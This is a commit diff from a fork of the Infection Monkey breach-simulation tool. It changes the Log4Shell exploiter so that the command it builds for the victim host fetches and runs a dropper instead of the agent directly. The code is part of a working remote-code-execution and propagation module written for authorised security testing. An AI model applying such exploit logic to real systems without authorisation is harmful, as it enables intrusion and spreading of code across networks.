forked from p15670423/monkey
Agent: Use dropper for Log4Shell
This commit is contained in:
parent
29ea2a961c
commit
c2db37df1e
|
@ -15,9 +15,9 @@ from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.model import (
|
from infection_monkey.model import (
|
||||||
|
DROPPER_ARG,
|
||||||
LOG4SHELL_LINUX_COMMAND,
|
LOG4SHELL_LINUX_COMMAND,
|
||||||
LOG4SHELL_WINDOWS_COMMAND,
|
LOG4SHELL_WINDOWS_COMMAND,
|
||||||
MONKEY_ARG,
|
|
||||||
VictimHost,
|
VictimHost,
|
||||||
)
|
)
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
|
@ -131,7 +131,7 @@ class Log4ShellExploiter(WebRCE):
|
||||||
def _build_command(self, path, http_path):
|
def _build_command(self, path, http_path):
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(
|
monkey_cmd = build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, vulnerable_port=None
|
self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
|
||||||
)
|
)
|
||||||
if "linux" in self.host.os["type"]:
|
if "linux" in self.host.os["type"]:
|
||||||
base_command = LOG4SHELL_LINUX_COMMAND
|
base_command = LOG4SHELL_LINUX_COMMAND
|
||||||
|
@ -141,7 +141,7 @@ class Log4ShellExploiter(WebRCE):
|
||||||
return base_command % {
|
return base_command % {
|
||||||
"monkey_path": path,
|
"monkey_path": path,
|
||||||
"http_path": http_path,
|
"http_path": http_path,
|
||||||
"monkey_type": MONKEY_ARG,
|
"monkey_type": DROPPER_ARG,
|
||||||
"parameters": monkey_cmd,
|
"parameters": monkey_cmd,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue